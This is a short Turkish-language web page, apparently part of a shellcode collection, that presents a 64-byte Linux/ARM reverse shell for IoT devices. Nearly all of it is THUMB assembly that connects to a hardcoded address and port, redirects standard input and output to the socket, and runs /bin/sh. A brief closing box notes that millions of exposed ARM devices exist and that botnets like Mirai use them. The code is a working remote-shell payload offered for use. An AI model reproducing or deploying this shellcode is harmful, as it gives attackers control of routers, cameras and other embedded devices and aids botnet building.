Linux/ARM Reverse Shell /bin/sh - 64 Bytes (Klasik IoT)

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    <p class="text-xs font-bold uppercase tracking-widest text-amber-700 mb-1">Klasik Shellcode - Linux ARM - 64 Bytes</p>
    <h2 class="text-2xl font-extrabold text-slate-900 leading-tight">Linux/ARM Reverse Shell - 64 Bytes</h2>
    <p class="text-sm text-slate-600 mt-2">ARM mimarisi router, IP kamera, IoT sensoru, Raspberry Pi gibi gomulu sistemlerde yaygindir. ARM shellcode, x86'dan farkli register isimlendirmesi ve THUMB mode icermektedir.</p>
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    <h3 class="text-xl font-bold text-slate-900 border-b border-slate-200 pb-2 mb-4">ARM THUMB Mode Assembly</h3>
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.thumb
.global _start
_start:
    mov  r0, #2      ; AF_INET
    mov  r1, #1      ; SOCK_STREAM
    mov  r2, #0      ; proto=0
    mov  r7, #281    ; socket() syscall
    svc  #1
    mov  r4, r0      ; sockfd kaydet

    ; connect()
    adr  r1, sockaddr
    mov  r2, #16
    mov  r7, #283    ; connect()
    svc  #1

    ; dup2 r4 0/1/2
    mov  r0, r4
    mov  r1, #2
dup_loop:
    mov  r7, #63
    svc  #1
    subs r1, #1
    bpl  dup_loop

    ; execve /bin/sh
    adr  r0, binsh
    mov  r1, #0
    mov  r2, #0
    mov  r7, #11
    svc  #1

sockaddr: .byte 0x02,0x00,0x11,0x5c,0xc0,0xa8,0x01,0x32
binsh:    .asciz "/bin/sh" 
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  <div class="bg-red-50 border border-red-200 rounded-xl p-4"><p class="text-xs font-bold text-red-800 mb-1">IoT IoT Tehdidi</p><p class="text-xs text-red-700">Shodan verilerine gore 15 milyondan fazla savunmasiz ARM tabanli IoT cihazi internete aciktir. Mirai gibi botnetlerin temel bilesenidir.</p></div>
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